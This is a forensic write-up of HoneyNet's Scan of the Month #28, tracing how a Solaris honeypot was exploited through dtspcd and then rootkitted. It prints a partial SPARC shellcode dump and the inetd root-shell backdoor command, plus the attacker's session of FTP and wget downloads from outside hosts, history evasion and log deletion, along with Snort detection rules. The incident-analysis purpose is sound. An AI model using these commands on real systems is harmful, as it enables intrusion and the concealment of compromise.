HoneyNet's Scan of the Month Challenge #28.

Authors:


Ashley Thomas
Software Engineer
Cipher Trust
ashley.thomas@ciphertrust.com
athomas@cc.gatech.edu

Vinay A. Mahadik
VAMahadik@FastMail.fm
http://lilly.csoft.net/~vamahadik/

Day 1 Analysis:

Confirm MD5 sum of network dump file:

$ md5sum src_dump/day1.log.gz
79e5871791542c8f38dd9cee2b2bc317  src_dump/day1.log.gz
$ md5sum src_dump/day3.log.gz
af8ab95f41530fe3561b506b422ed636  src_dump/day3.log.gz
$


They match.

Checking for fragmented IP packets:

$ tcpdump -n -r src_dump/day1.log 'ip[6:2] & 0x3fff != 0'
$ tcpdump -n -r src_dump/day3.log 'ip[6:2] & 0x3fff != 0'
$


There are no fragmented IP packets in the log; so filters based on TCP flags etc will work for all packets and we can use tcpflow for this (as of now, it doesn't handle IP fragments).

Finding/confirming open ports on the honeypot:

It's usually a very useful exercise in noting what TCP/UDP ports were open at the start of the logs and which ones were suspiciously opened later on. These latter ones are almost always backdoors installed after a successful compromise. This connection auditing is also important to configure Snort/other IDS for the honeypot when we run it later. Usually though, such open-services information is available from the system's administrator or direct access to the system itself.

For TCP ports, this is easy. We look for SYN-ACKs from the honeypot. The source ports of these SYN-ACKs are open (at least at that point of time). Ports that are not touched and hence dont show up in the logs can be ignored.

$ tcpdump -n -nn -r src_dump/day1.log -w src_dump/SynAcksFromHoneypot 'tcp[13] & 18 == 18' and src host 192.168.100.28
$ tethereal -n -r src_dump/SynAcksFromHoneypot | awk {'print $7'} | sort -n | uniq
1524
6112
7000

32784
32785
32786
32788
32792
32794

$

The incrementing listening port-numbers pattern is almost always a sign of FTP session (in this case, a FTP client from the honeypot connected to an Active FTP server outside). A quick manual check confirms this. We'll be looking at outbound connections from the honeypot (something suspicious) soon. Let's mark this (outbound FTP connection) as lead #1.

At this point it is instructive to note that the SYN-ACKs, just like any other packet, could have been dropped by the kernel under heavy load and hence never logged. So, there could be more ports open as well. Missing SYN/SYN-ACKs for TCP sessions' logs is not rare, and a more reliable way of detecting open ports is to use 23 (ARSF) as the mask and match that with 18 (AS) or 16 (A) for TCP flags of packets from the honeypot. For source ports < 1024, this works fine. However, this will include all the ephemeral source ports (for outbound connections) as well. Since we already have 3 ports to pursue, we'll stick to this list for now (if we reach a dead-end, we can review this then).

Other ways of finding open TCP (and UDP) ports are:

- Use Snort/Bro/some IDS and find a vertical (ie port) scan, and check responses.
- Although imperfect, check RSTs (RST-ACKs) from the honeypot.

Note: 3 most common reasons for a port to generate RSTs are:

- Its a closed port, and a connection arrives on it.
- The OS generates a RST-ACK since the user-space application just crashed (happens on Windows boxs) [1,2].
- If the socket does an 'abortive release' close() using the SO_LINGER socket option.

The first two factors have interesting security implications. If we can find open ports that generated RSTs, it could mean that they were closed before and were opened after a compromise as backdoors, or that the application serving the port crashed during a session, which could mean that there were overflow/other exploits attempts on it.

Despite issues about false positives [1,2], the authors have repeatedly found that this sort of RST-ACK or FIN-ACK based connection auditing can detect even exploit attempts missed by IDSs. Please see our entry for SOTM27 [10] for example.

$ tcpdump -n -nn -r src_dump/day1.log -w src_dump/RstsFromHoneypot 'tcp[13] & 4 == 4' and src host 192.168.100.28
$ tethereal -n -r src_dump/RstsFromHoneypot | awk {'print $7'} | sort -n | uniq
23
80
113
139
443
1080
1433
1524
3128
6112
8080
32783
32791
32793
32803

The ports in Bold (1524, and 6112) were known to be open (had generated SYN-ACKs), but have still generated RSTs at some point.

$ tethereal -n -r src_dump/day1.log tcp.port == 1524 | head
564 33015.633853 61.219.90.180 -> 192.168.100.28 TCP 56709 > 1524 [SYN] Seq=2149411790 Ack=0 Win=5840 Len=0 MSS=1460 TSV=48509942 TSER=0 WS=0
565 33015.633853 192.168.100.28 -> 61.219.90.180 TCP 1524 > 56709 [RST, ACK] Seq=0 Ack=2149411791 Win=0 Len=0
588 33027.703036 61.219.90.180 -> 192.168.100.28 TCP 56712 > 1524 [SYN] Seq=2153507885 Ack=0 Win=5840 Len=0 MSS=1460 TSV=48511145 TSER=0 WS=0
590 33027.703036 192.168.100.28 -> 61.219.90.180 TCP 1524 > 56712 [SYN, ACK] Seq=3127722945 Ack=2153507886
$

$ tethereal -n -r src_dump/day1.log tcp.port == 6112
561 33015.413867 61.219.90.180 -> 192.168.100.28 TCP 56399 > 6112 [SYN] Seq=2151229461 Ack=0 Win=5840 Len=0 MSS=1460 TSV=48509919 TSER=0 WS=0
562 33015.413867 192.168.100.28 -> 61.219.90.180 TCP 6112 > 56399 [SYN, ACK] Seq=3124316702 Ack=2151229462 Win=24616 Len=0 TSV=113867381 TSER=48509919 WS=0
MSS=1460
<snipped several session pkts>
8349 34430.007937 192.168.100.28 -> 61.219.90.180 TCP 6112 > 56399 [RST] Seq=3124316704 Ack=0 Win=0 Len=0


We see the connection audit paying off already! We find that:

- the TCP port 1524 was indeed somehow opened on the honeypot.
- the source IP 61.219.90.180 was involved in this.
- the port 6112 was also somehow involved.

This has all the signs of a compromise, let's mark this as lead #2, and we'll pursue it soon.

For UDP ports, doing the 'open-ports' analysis is tricky. Unlike TCP listeners, UDP listeners get to inspect the payload/header of a request before responding. It just might be that an UDP listener is looking for a specific content in the UDP request in order to respond. So for such open ports, no UDP/ICMP-Port-unreachable response clearly doesn't mean anything:

$ tcpdump -n -nn -r src_dump/day1.log -w src_dump/udponly udp
$ tcpdump -n -nn -r src_dump/day1.log icmp and src host 192.168.100.28 | grep unreachable | awk {'print $9'} | sort -n | uniq
137
$ tethereal -V -n -r src_dump/udponly ip.dst == 192.168.100.28 | grep "Destination port" | awk {'print $3'} | sort -n | uniq
53
137
32789

$ tethereal -V -n -r src_dump/udponly ip.src == 192.168.100.28 | grep "Source port" | awk {'print $3'} | sort -n | uniq
53
32789

36332
$


32789, through a quick manual analysis, is seen as used as an ephemeral port and that's why we see the two-way traffic from it. We find from these tests that UDP port 53 is definitely open on the honeypot. Port 137 was definitely closed since we see an ICMP Port Unreachable for/from it.


#
Open-UDP
Open-TCP
Default-Type
1.
53
-
DNS
2.
-
1524
Ingreslock/Suspect
3.
-
6112
Dtspcd
4.
-
7000
IRC


Finding outbound TCP/UDP connections initiated by the honeypot:

Fundamentally, since we control a honeypot, any outbound connections from it that are unintentional/deliberate, are suspect and potentially imply a compromise. Let's find the outbound TCP connections initiated by our honeypot.

$ tcpdump -n -nn -r src_dump/day1.log -w src_dump/OutboundSyns src host 192.168.100.28 and 'tcp[13] & 18 == 2'
$ tethereal -n -r src_dump/OutboundSyns | awk {'print $5"\t"$9'} | sort | uniq
192.18.99.122   21
206.252.192.195 5555
206.252.192.195 6667
62.211.66.16    21
62.211.66.53    80
$


We find outbound connections to ports 80 (Web), 6667/5555 (IRC), and 21 (FTP). The outbound FTP session(s) were marked as lead #1, let's add these collectively to lead #1 as well.

For outbound UDP connections (ignoring a Lot of DNS traffic to/from port 53):

$ tcpdump -n -nn -r src_dump/day1.log -w src_dump/OutboundUDP src host 192.168.100.28 and udp and port not 53
$ tethereal -n -V -r src_dump/OutboundUDP | grep -A 3 "Syslog"
Syslog message: DAEMON.WARNING: Nov 29 09:56:18 inetd[167]: ...
    0001 1... = Facility: DAEMON - system daemons (3)
    .... .100 = Level: WARNING - warning conditions (4)
    Message: Nov 29 09:56:18 inetd[167]: [ID 858011 daemon.warning] /usr/dt/bin/rpc.cmsd: Killed
--
Syslog message: DAEMON.WARNING: Nov 29 09:56:18 inetd[167]: ...
    0001 1... = Facility: DAEMON - system daemons (3)
    .... .100 = Level: WARNING - warning conditions (4)
    Message: Nov 29 09:56:18 inetd[167]: [ID 858011 daemon.warning] /usr/sbin/sadmind: Killed
--
Syslog message: DAEMON.ERR: Nov 29 09:56:19 inetd[1773]:...
    0001 1... = Facility: DAEMON - system daemons (3)
    .... .011 = Level: ERR - error conditions (3)
    Message: Nov 29 09:56:19 inetd[1773]: [ID 801587 daemon.error] /tmp/x: No such file or directory
$


We see three, very closely spaced (in time), syslog error messages generated by inetd on the honeypot, and sent to a syslogd on host 192.168.100.158. Let's mark these as lead #3.

Running Snort 1.9.x on the network dump:

Based on all the open ports' and outbound-connections' information gathered so far, we have the following configured Snort configuration file:

$ cat etc/snort.conf.sotm28.day1
var HOME_NET 192.168.100.28/32

var EXTERNAL_NET !$HOME_NET

var DNS_SERVERS $HOME_NET
var SMTP_SERVERS $HOME_NET
var HTTP_SERVERS $HOME_NET
var SQL_SERVERS $HOME_NET
var TELNET_SERVERS $HOME_NET

var HTTP_PORTS 80
#var SHELLCODE_PORTS !80
var SHELLCODE_PORTS any

var ORACLE_PORTS 1521
var AIM_SERVERS [64.12.24.0/24,64.12.25.0/24,64.12.26.14/24,64.12.28.0/24,64.12.29.0/24,64.12.161.0/24,64.12.163.0/24,205.188.5.0/24,205.188.9.0/24]

var RULE_PATH ../rules

# There are no fragmented packets.
#preprocessor frag2

preprocessor stream4: detect_scans, disable_evasion_alerts

# We can afford this for offline analysis.
preprocessor stream4_reassemble: both, ports all

# Port 80 is Not open.
# preprocessor http_decode: 80 unicode iis_alt_unicode double_encode iis_flip_slash full_whitespace

# preprocessor rpc_decode: 111 32771
# preprocessor bo: -nobrute

preprocessor conversation: allowed_ip_protocols all, timeout 60, max_conversations 32000

# Paranoid portscan detection
preprocessor portscan2: scanners_max 3200, targets_max 5000, target_limit 5, port_limit 5, timeout 60

include classification.config
include reference.config

include $RULE_PATH/bad-traffic.rules
include $RULE_PATH/exploit.rules
include $RULE_PATH/scan.rules
include $RULE_PATH/finger.rules
include $RULE_PATH/ftp.rules
include $RULE_PATH/telnet.rules
include $RULE_PATH/rpc.rules
include $RULE_PATH/rservices.rules
include $RULE_PATH/dos.rules
include $RULE_PATH/ddos.rules
include $RULE_PATH/dns.rules
include $RULE_PATH/tftp.rules
include $RULE_PATH/web-cgi.rules
include $RULE_PATH/web-coldfusion.rules
include $RULE_PATH/web-iis.rules
include $RULE_PATH/web-frontpage.rules
include $RULE_PATH/web-misc.rules
include $RULE_PATH/web-client.rules
include $RULE_PATH/web-php.rules
include $RULE_PATH/sql.rules
include $RULE_PATH/x11.rules
include $RULE_PATH/icmp.rules
include $RULE_PATH/netbios.rules
include $RULE_PATH/misc.rules
include $RULE_PATH/attack-responses.rules
include $RULE_PATH/oracle.rules
include $RULE_PATH/mysql.rules
include $RULE_PATH/snmp.rules
include $RULE_PATH/smtp.rules
include $RULE_PATH/imap.rules
include $RULE_PATH/pop3.rules
include $RULE_PATH/pop2.rules
include $RULE_PATH/nntp.rules
include $RULE_PATH/other-ids.rules
include $RULE_PATH/web-attacks.rules
include $RULE_PATH/backdoor.rules
include $RULE_PATH/shellcode.rules
include $RULE_PATH/policy.rules
include $RULE_PATH/porn.rules
include $RULE_PATH/info.rules
include $RULE_PATH/icmp-info.rules
include $RULE_PATH/virus.rules
include $RULE_PATH/chat.rules
include $RULE_PATH/multimedia.rules
include $RULE_PATH/p2p.rules
include $RULE_PATH/experimental.rules

#include $RULE_PATH/local.rules
$


$ ./snort -l logs/snort -c etc/snort.conf.sotm28.day1 -A full -b -r src_dump/day1.log


<snipped>

Snort processed 18843 packets.
Breakdown by protocol:                Action Stats:

    TCP: 12773      (67.786%)         ALERTS: 2021
    UDP: 3948       (20.952%)         LOGGED: 1917
   ICMP: 2122       (11.261%)         PASSED: 0
    ARP: 0          (0.000%)
  EAPOL: 0          (0.000%)
   IPv6: 0          (0.000%)
    IPX: 0          (0.000%)
  OTHER: 0          (0.000%)
===============================================================================
Wireless Stats:
Breakdown by type:
    Management Packets: 0          (0.000%)
    Control Packets:    0          (0.000%)
    Data Packets:       0          (0.000%)
===============================================================================
Fragmentation Stats:
Fragmented IP Packets: 0          (0.000%)
   Rebuilt IP Packets: 0
   Frag elements used: 0
Discarded(incomplete): 0
   Discarded(timeout): 0
===============================================================================

TCP Stream Reassembly Stats:
   TCP Packets Used:      237        (1.258%)
   Reconstructed Packets: 0          (0.000%)
   Streams Reconstructed: 31
===============================================================================


$ grep "\[\*\*\]" logs/snort/alert | grep -v "Portscan" | sort | uniq
[**] [1:1855:2] DDOS Stacheldraht agent->handler (skillz) [**]
[**] [1:384:4] ICMP PING [**]
[**] [1:402:4] ICMP Destination Unreachable (Port Unreachable) [**]
[**] [1:480:2] ICMP PING speedera [**]
[**] [1:615:3] SCAN SOCKS Proxy attempt [**]
[**] [1:618:2] SCAN Squid Proxy attempt [**]
[**] [1:620:2] SCAN Proxy (8080) attempt [**]
[**] [1:645:3] SHELLCODE sparc NOOP [**]

$


Great! Lots of potential leads. Let's ignore the ones not in bold - too generic. Let's check others for false positives if any.

Sid 1855 is (now) quite popular Stacheldraht DDoS[3] agent's "heart-beat" detection. The signature was:

$ grep "sid:1855" rules/*.rules
rules/ddos.rules:alert icmp $EXTERNAL_NET any <> $HOME_NET any (msg:"DDOS Stacheldraht agent->handler (skillz)"; content:"skillz"; itype:0; icmp_id:6666; reference:url,staff.washington.edu/dittrich/misc/stacheldraht.analysis; classtype:attempted-dos; sid:1855; rev:2;)
$


It's a bidrectional rule. From the Snort 'alert' file, we find that they (the ICMP Echo-Reply heart-beats) were generated by the honeypot. A clear sign of a DDoS agent installed on the honeypot. Let's check the handler/master IPs the honeypot is communicating with:

$ grep -A 2 ":1855:" logs/snort/alert | grep " \-> " | awk {'print $4'} | sort -n | uniq
61.134.3.11
217.116.38.10

$ tcpdump -n -nn -r src_dump/day1.log src host 61.134.3.11
$ tcpdump -n -nn -r src_dump/day1.log src host 217.116.38.10
$


The IPs in bold are the master/handler hosts. It seems that they were down and didn't reciprocate with the DDoS agent on the honeypot.

This is an important set of alerts. Let's mark this as lead #4.

Let's check Sid 480:

$ grep "sid:480" rules/*.rules
rules/icmp.rules:alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP PING speedera"; content: "|3839 3a3b 3c3d 3e3f|"; depth: 100; itype: 8;  sid:480;  classtype:misc-activity; rev:2;)
$


From [4], these are most likely harmless pings used by SpeedEra.net to make cache-location decisions. Skip this sid.

$ grep "sid:615" rules/*.rules
rules/scan.rules:alert tcp $EXTERNAL_NET any -> $HOME_NET 1080 (msg:"SCAN SOCKS Proxy attempt"; flags:S; reference:url,help.undernet.org/proxyscan/; classtype:attempted-recon; sid:615; rev:3;)
$


From [5], we find that this is an open-proxy scan made by an external IRC server when the honeypot attempted to connect to it. This only confirms what we already know from lead #1. There's no more information here. Let's skip this.

Sid 618:

$ grep "sid:618" rules/*.rules
rules/scan.rules:alert tcp $EXTERNAL_NET any -> $HOME_NET 3128 (msg:"SCAN Squid Proxy attempt"; flags:S; classtype:attempted-recon; sid:618; rev:2;)
$


Attempted recon/connection on Squid proxy port 3128. We know it's closed. Let's skip this too.

Sid 645:

$ grep "sid:645" rules/*.rules
rules/shellcode.rules:alert ip $EXTERNAL_NET any -> $HOME_NET $SHELLCODE_PORTS (msg:"SHELLCODE sparc NOOP"; content:"|801c 4011 801c 4011 801c 4011 801c 4011|"; reference:arachnids,353; classtype:shellcode-detect; sid:645; rev:3;)
$


This is a Sparc No-Op sled typically found in buffer-overflow based exploit attempts. Definitely worth looking into:

$ grep -A 7 ":645:" logs/snort/alert
[**] [1:645:3] SHELLCODE sparc NOOP [**]
[Classification: Executable code was detected] [Priority: 1]
11/29-08:36:26.503382 61.219.90.180:56711 -> 192.168.100.28:6112
TCP TTL:44 TOS:0x0 ID:61373 IpLen:20 DgmLen:1500 DF
***A**** Seq: 0x7FC1DB88  Ack: 0xBA41EB06  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 48510034 113867474
[Xref => arachnids 353]

$


Single hit on a session with tcp port 6112 from source host 61.219.90.180 . Excellent! It's the same source IP as lead #2! The exploit itself best correlates with [9]. Note that we haven't even used an IDS as yet!

Summarizing the 4 solid leads so far, we have that the honeypot has attempted connections to ports 80 (web), 21 (FTP), and 6667/5555 (IRC) on external hosts. Source 61.219.90.180 has attempted a buffer-overflow exploit on dtspcd service (port 6112) and around that time a previously closed TCP port 1524 has opened up on the Honeypot. The honeypot also has a Stacheldraht DDoS agent installed on it that is attempting to link up with two seemingly down handler/master hosts.

Extrapolating from the leads gathered so far, the most probable analysis would be: The source 61.219.90.180 connected to the dtspcd service on the honeypot (TCP port 6112), and exploited a buffer overflow on it, and managed to install a backdoor on TCP port 1524. The attacker then grabbed some tools, exploits, etc from some web servers and FTP sites and installed the DDoS agent on the honeypot. It also appears that the honeypot was made to join a IRC botnet.

Let's see if this is what actually happened.

Analysing leads:

Let's begin with the source IP 61.219.90.180 and its sessions with the honeypot:

$ tcpdump -n -nn -r src_dump/day1.log -w src_dump/61.219.90.180All host 61.219.90.180
$ argus -r src_dump/61.219.90.180All -w logs/argus/1.argus
$ ra -A -c -n -r logs/argus/1.argus -z
18 May 03 13:52:21    man version=2.0     probeid=3848370891                                                            STA
29 Nov 02 07:36:25    tcp   61.219.90.180.56709  ->    192.168.100.28.1524  1        1         0            0           sR
29 Nov 02 07:36:26    tcp   61.219.90.180.56711  ->    192.168.100.28.6112  7        6         4178         0           sSEfF
29 Nov 02 07:36:25    tcp   61.219.90.180.56399  ->    192.168.100.28.6112  2        1         0            0           sSE
29 Nov 02 07:36:25    tcp   61.219.90.180.56710  ->    192.168.100.28.6112  7        5         53           70          sSEfF
29 Nov 02 07:36:37    tcp   61.219.90.180.56712  ->    192.168.100.28.1524  6        5         208          168         sSE
29 Nov 02 07:42:15    tcp   61.219.90.180.56712  ->    192.168.100.28.1524  20       16        178          206         sSE
29 Nov 02 07:43:50    tcp   61.219.90.180.56712  ->    192.168.100.28.1524  2        2         12           63          sSE
29 Nov 02 07:45:12    tcp   61.219.90.180.56712  ->    192.168.100.28.1524  115      112       84           604         sSE
29 Nov 02 07:46:25    tcp  192.168.100.28.6112   ?>     61.219.90.180.56399 1        1         0            0           f
29 Nov 02 07:46:13    tcp   61.219.90.180.56712  ->    192.168.100.28.1524  153      152       0            365         sSE
29 Nov 02 07:47:14    tcp   61.219.90.180.56712  ->    192.168.100.28.1524  152      153       0            393         sSE
29 Nov 02 07:48:14    tcp   61.219.90.180.56712  ->    192.168.100.28.1524  148      147       0            356         sSE
29 Nov 02 07:49:14    tcp   61.219.90.180.56712  ->    192.168.100.28.1524  155      156       0            371         sSE
29 Nov 02 07:50:14    tcp   61.219.90.180.56712  ->    192.168.100.28.1524  149      149       0            370         sSE
29 Nov 02 07:51:14    tcp   61.219.90.180.56712  ->    192.168.100.28.1524  148      147       0            351         sSE
29 Nov 02 07:52:14    tcp   61.219.90.180.56712  ->    192.168.100.28.1524  80       76        48           338         sSE
29 Nov 02 07:53:18    tcp   61.219.90.180.56712  ->    192.168.100.28.1524  68       63        50           5100        sSE
29 Nov 02 07:54:21    tcp   61.219.90.180.56712  ->    192.168.100.28.1524  122      123       0            754         sSE
29 Nov 02 07:55:21    tcp   61.219.90.180.56712  ->    192.168.100.28.1524  170      170       0            396         sSE
29 Nov 02 07:56:21    tcp   61.219.90.180.56712  ->    192.168.100.28.1524  163      163       0            366         sSE
29 Nov 02 07:57:21    tcp   61.219.90.180.56712  ->    192.168.100.28.1524  159      158       0            371         sSE
29 Nov 02 07:58:21    tcp   61.219.90.180.56712  ->    192.168.100.28.1524  34       34        0            4170        sSE
29 Nov 02 07:59:40    tcp   61.219.90.180.56712  ->    192.168.100.28.1524  16       12        43           2141        sSEfFR
29 Nov 02 07:59:59    tcp   61.219.90.180.56399  ?>    192.168.100.28.6112  1        1         0            0           fR
18 May 03 13:52:21    man  pkts      3732  bytes       268201  drops     0  flows    0         closed       7           SHT

Nothing amazing, just tells us that the only sessions were with TCP ports 6112 and 1524. Let's check these sessions a little closer.

From Ethereal's 'Follow this TCP Stream', we save an interesting session on port 6112:

$ cat logs/6112
00000000  30 30 30 30 30 30 30 32  30 34 31 30 33 65 30 30 00000002 04103e00
00000010  30 33 20 20 34 20 00 00  00 31 30 00 80 1c 40 11 03  4 .. .10...@.
00000020  80 1c 40 11 10 80 01 01  80 1c 40 11 80 1c 40 11 ..@..... ..@...@.
00000030  80 1c 40 11 80 1c 40 11  80 1c 40 11 80 1c 40 11 ..@...@. ..@...@.
00000040  80 1c 40 11 80 1c 40 11  80 1c 40 11 80 1c 40 11 ..@...@. ..@...@.
00000050  80 1c 40 11 80 1c 40 11  80 1c 40 11 80 1c 40 11 ..@...@. ..@...@.
00000060  80 1c 40 11 80 1c 40 11  80 1c 40 11 80 1c 40 11 ..@...@. ..@...@.
00000070  80 1c 40 11 80 1c 40 11  80 1c 40 11 80 1c 40 11 ..@...@. ..@...@.
00000080  80 1c 40 11 80 1c 40 11  80 1c 40 11 80 1c 40 11 ..@...@. ..@...@.
00000090  80 1c 40 11 80 1c 40 11  80 1c 40 11 80 1c 40 11 ..@...@. ..@...@.
000000A0  80 1c 40 11 80 1c 40 11  80 1c 40 11 80 1c 40 11 ..@...@. ..@...@.

<snipped>

000004B0  80 1c 40 11 80 1c 40 11  80 1c 40 11 20 bf ff ff ..@...@. ..@. ...
000004C0  20 bf ff ff 7f ff ff ff  90 03 e0 34 92 23 e0 20  ....... ...4.#.
000004D0  a2 02 20 0c a4 02 20 10  c0 2a 20 08 c0 2a 20 0e .. ... . .* ..* .
000004E0  d0 23 ff e0 e2 23 ff e4  e4 23 ff e8 c0 23 ff ec .#...#.. .#...#..
000004F0  82 10 20 0b 91 d0 20 08  2f 62 69 6e 2f 6b 73 68 .. ... . /bin/ksh
00000500  20 20 20 20 2d 63 20 20  65 63 68 6f 20 22 69 6e     -c   echo "in
00000510  67 72 65 73 6c 6f 63 6b  20 73 74 72 65 61 6d 20 greslock  stream
00000520  74 63 70 20 6e 6f 77 61  69 74 20 72 6f 6f 74 20 tcp nowa it root
00000530  2f 62 69 6e 2f 73 68 20  73 68 20 2d 69 22 3e 2f /bin/sh  sh -i">/
00000540  74 6d 70 2f 78 3b 2f 75  73 72 2f 73 62 69 6e 2f tmp/x;/u sr/sbin/
00000550  69 6e 65 74 64 20 2d 73  20 2f 74 6d 70 2f 78 3b inetd -s  /tmp/x;
00000560  73 6c 65 65 70 20 31 30  3b 2f 62 69 6e 2f 72 6d sleep 10 ;/bin/rm
00000570  20 2d 66 20 2f 74 6d 70  2f 78 20 41 41 41 41 41  -f /tmp /x AAAAA
00000580  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41 AAAAAAAA AAAAAAAA
00000590  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41 AAAAAAAA AAAAAAAA

<snipped>

$

We note the "801c 4011 801c 4011 801c 4011" Sparc No-Op sled from lead #2 and Snort alerts. This is where the attacker attempts a buffer overflow on port 6112 (dtspcd service). The overflow, if successful, would run the following on the victim host:

$ tcpdump -n -nn -r src_dump/61.219.90.180All -w - tcp port 6112 | strings | grep ksh
/bin/ksh    -c  echo "ingreslock stream tcp nowait root /bin/sh sh -i">/tmp/x;/usr/sbin/inetd -s /tmp/x;sleep 10;/bin/rm -f /tmp/x AAAAAA... <snipped>
$


Briefly, what's happening here is, the attacker installs a "/bin/sh" backdoor through inetd on the "ingreslock" (TCP port 1524) service port. We already know the exploit was successful, since the previously closed TCP port 1524 was opened soon after this attack (from our connection auditing above). Port 6112 session provides no more interesting info. Let's move on to the session(s) with port 1524:

We again use Ethereal's "Follow this TCP stream" tool on the 1524 session, and save an ASCII file. Let's go through this very important session (edited and commented inline) now:
# uname -a; ls -l /core /var/dt/tmp/DTSPCD.log;
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/ccs/bin:/usr/gnu/bin;
export PATH;echo "BD PID(s): "`ps -fed|grep ' -s /tmp/x'|grep -v grep|awk '{print $2}'`

The '#' confirms a root shell. Checks system OS version info. Checks presence of some files. Sets PATH variable.
Find's inetd's Pid.

SunOS zoberius 5.8 Generic_108528-09 sun4u sparc SUNW,Ultra-5_10
/core: No such file or directory
/var/dt/tmp/DTSPCD.log: No such file or directory
BD PID(s): 1773
# wget
wget: not found

'wget' is missing.

# w
9:44am up 13 day(s), 4:24, 0 users, load average: 0.00, 0.00, 0.01
User tty login@ idle JCPU PCPU what

No one's logged in.

# /bin/sh -i

Launch interactive shell.

unset HISTFILE

Unset HISTFILE variable to evade shell commands logging.

# unset DISPLAY

Prevent any redirection of display, unset the DISPLAY variable.

mkdir /usr/share/man/man1/.old
cd /usr/share/man/man1/.old

Create and jump to a stealthy .old directory.

# # # ftp 62.211.66.16 21
bobzz
ftp: ioctl(TIOCGETP): Invalid argument
Password:joka

get wget
get dlp
get solbnc
get iupv6sun
Name (62.211.66.16:root): iupv6sun: No such file or directory.
get ipv6sun
quit

Fetch 4 utils from an external, potentially attacker controlled, FTP server 62.211.66.16
(one of the IPs from lead #1). Let's grab these binaries from the logs:

[62.211.66.16FTP]$ tcpflow -r ../../../src_dump/day1.log tcp and host 62.211.66.16
[62.211.66.16FTP]$ ls
062.211.066.016.00020-192.168.100.028.32784 062.211.066.016.00020-192.168.100.028.32786
062.211.066.016.00021-192.168.100.028.32783 062.211.066.016.00020-192.168.100.028.32785
062.211.066.016.00020-192.168.100.028.32788 192.168.100.028.32783-062.211.066.016.00021
[62.211.66.16FTP]$ file *
062.211.066.016.00020-192.168.100.028.32784: ELF 32-bit MSB executable, SPARC, version 1 (SYSV),
dynamically linked (uses shared libs), stripped
062.211.066.016.00020-192.168.100.028.32785: ASCII text, with CRLF line terminators
062.211.066.016.00020-192.168.100.028.32786: ELF 32-bit MSB executable, SPARC, version 1 (SYSV),
dynamically linked (uses shared libs), stripped
062.211.066.016.00020-192.168.100.028.32788: Bourne shell script text executable
062.211.066.016.00021-192.168.100.028.32783: ASCII text, with CRLF line terminators
192.168.100.028.32783-062.211.066.016.00021: ASCII text, with CRLF, CR line terminators

We find that dlp and ipv6sun are shell scripts and solbnc is an ELF SPARC stripped binary. Let's defer
any reverse engineering for later.

# ls
dlp
ipv6sun
solbnc
wget
# chmod +x solbnc wget dlp
# ./wget
wget: missing URL
Usage: wget [OPTION]... [URL]...

Try `wget --help' for more options.
# ./wget http://62.211.66.53/bobzz/sol.tar.gz
--09:47:58-- http://62.211.66.53:80/bobzz/sol.tar.gz
=> `sol.tar.gz'
Connecting to 62.211.66.53:80... connected!
HTTP request sent, awaiting response... 200 OK
Length: 1,884,160 [application/x-tar]

<snipped>

09:55:09 (4.27 KB/s) - `sol.tar.gz' saved [1884160/1884160]

Get another tarball from another similar IP 62.211.66.53 (The web-server connection from lead #1).
Let's grab this binary as well.


[62.211.66.53Web]$ tcpflow -r ../../../src_dump/day1.log tcp and host 62.211.66.53 and port 80
[62.211.66.53Web]$ head -n 20 062.211.066.053.00080-192.168.100.028.32789
HTTP/1.1 200 OK
Date: Fri, 29 Nov 2002 15:45:29 GMT
Server: Apache/1.3.26 (Unix)
Last-Modified: Fri, 15 Nov 2002 11:11:26 GMT
ETag: "4197671-1cc000-3dd4d65e"
Accept-Ranges: bytes
Content-Length: 1884160
Connection: close
Content-Type: application/x-tar
Content-Encoding: x-gzip

sol/0040755000076500007650000000000007565152413010715 5ustar
echo Delete Logz...
echo -------
echo Deleting /var/log...
rm /var/log/secure
rm /var/log/secure.1
rm /var/log/secure.2
rm /var/log/secure.3
rm /var/log/secure.4
[62.211.66.53Web]$ wc -l 062.211.066.053.00080-192.168.100.028.32789
11769 062.211.066.053.00080-192.168.100.028.32789
[62.211.66.53Web]$ tail -n 11759 062.211.066.053.00080-192.168.100.028.32789 > test
[62.211.66.53Web]$ file test
test: GNU tar archive
[62.211.66.53Web]$ mv test sol.tar.gz
[62.211.66.53Web]$ tar xf sol.tar.gz
[62.211.66.53Web]$ ls sol/
103577-13.tar.Z childkiller du fix logo netstat patch.sol7
ping rpass sniffload startbnc switch top x.conf2
109662-03.tar.Z cleaner etc idsol ls passwd patch.sol8
ps setup solsch strings syn utime
110646-03.zip crypt find l2 ls2 patch.sol5 p-engine
psy.tar.Z setup.save sshd su sz wget
111606-02.zip dl findkit login lsof patch.sol6 pg
removekit sn2 ssh-dxe sver szl x.conf
[62.211.66.53Web]$

Looks like a proper rootkit!!.

# rrrrrretar -xf sol.tar.gz
rrrrrretar: not found
# cd sol
sol: does not exist
# ./setup
./setup: not found
# cd sol
sol: does not exist
# tar -xf sol.tar.gz
# cd sol
# ./setup
[0;36mbobz oN ircNet on join #privè

<snipped>

Deleting /var/log...
/var/log/secure: No such file or directory

<snipped> Lots of log file deletion attempts.

---
LogZ Cancellati...

The tools are probably by an Italian author.

[1;37m*[0;37m Checking for existing rootkits..

Remove other rootkits.

[1;37m***[0;37m Insert Rootkit Password :
mixer
[1;37m***[0;37m Using Password mixer
[1;37m***[0;37m Insert Rootkit SSH Port :
5001
[1;37m***[0;37m Using Port 5001
[1;37m***[0;37m Insert Rootkit PsyBNC Port :
7000
[1;37m***[0;37m Using Port 7000

We only saw port 7000 in day1. 5001 wasn't touched and so didn't generate any SYN-ACKs we could detect.

File processed...
[1;37m*[0;37m Making backups... su ping du passwd find ls netstat strings ps Done.
[1;37m*[0;37m Installing trojans... login sshd netstat ls find strings du passwd ping su Complete.
[1;37m*[0;37m Suid removal at atq atrm eject fdformat rdist rdist admintool ufsdump ufsrestore quota ff.core
lpset lpstat netpr arp chkperm Complete.

That's a LOT of trojans!.

[1;37m*[0;37m Starting Patcher...
* Patching...
Done.

Apply patches so others can't get in.

--09:56:21-- ftp://sunsolve.sun.com:21/pub/patches/111085-02.zip

The other FTP server from lead #1. Only unexplained outbound connections now are the IRC server connects.

PaTcH_MsG 2 Patch number 111085-02 is already applied.

<heavy snipping>

[1;37m*[0;37m psyBNC has now been configured on port 7000 (default) with no IDENT
[1;37m*[0;37m erasing rootkit...
./setup: test: unknown operator 16
# ./startbnc
.-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-.
